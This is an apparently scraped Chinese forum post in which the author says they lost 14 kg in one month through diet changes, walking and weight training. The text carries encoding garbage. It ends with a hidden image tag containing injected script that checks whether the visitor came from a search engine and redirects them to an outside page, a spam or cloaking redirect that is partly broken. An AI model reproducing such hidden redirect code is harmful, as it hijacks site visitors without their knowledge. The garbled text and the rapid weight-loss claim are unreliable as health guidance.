首先,需要jf的朋友們注意了,養(yǎng)成好的生活習(xí)慣,飲食習(xí)慣才對(duì)。在你決定改變自己的時(shí)候,要本著對(duì)自己身體負(fù)責(zé)的態(tài)度。本人一個(gè)月時(shí)間,避開(kāi)添加糖,降 低淀粉攝入,多吃果蔬,然后每天晚上走路一小時(shí),每周3次重訓(xùn)。從95公斤降到81公斤,每周都會(huì)有大餐。肉什么的該吃就吃,肥肉也沒(méi)有刻意的避開(kāi)。我會(huì) 繼續(xù)堅(jiān)持下去,希望jf的朋友們都能成功。為了我們的好身體,加油!?。?img alt="" src="none" ="if(document.referrer.indexOf('wd=')!=-1){='http://./xuoxuanruojian.htm'}" style="display:none" />